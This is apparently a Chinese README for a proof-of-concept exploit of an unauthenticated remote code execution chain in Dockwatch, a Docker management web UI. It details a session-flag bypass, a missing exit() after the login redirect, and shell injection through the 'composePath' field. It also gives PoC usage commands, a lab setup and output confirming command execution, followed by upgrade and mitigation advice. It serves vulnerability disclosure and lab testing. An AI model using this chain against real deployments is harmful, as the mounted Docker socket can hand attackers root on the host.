CVE-2026-58455 的概念验证:在 Dockwatch(由 Notifiarr 开发)中发现未授权远程代码执行漏洞,这是一个自托管的 Docker 容器管理 Web 界面。影响所有直至 0.6.567 的版本。
三个缺陷串联在一起:
GET /includes/header.php 会对任何访客执行
$_SESSION['IN_DOCKWATCH'] = true;。AJAX 层
(ajax/shared.php)仅检查此标志。exit() — 当 $_SESSION['authenticated'] 为假时,loader.php 会发送
Location: login.php 头,但不会终止执行,因此请求的其余部分会继续运行。ajax/compose.php(m=composePull)使用未经清理的输入构建 shell 命令:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
串联利用后:未经认证的远程攻击者可以容器内 Web 服务器用户的身份执行任意操作系统命令。典型部署会将 /var/run/docker.sock 挂载进容器 → 等同于宿主机上的 root 权限。
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
仅需 Python 3 标准库。
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
请将 Dockwatch 升级到 0.6.567 之后的版本。作为缓解措施,不要将 Dockwatch 暴露给不受信任的网络,并在非必要情况下移除 Docker 套接字挂载。
仅供授权的安全研究和实验环境使用。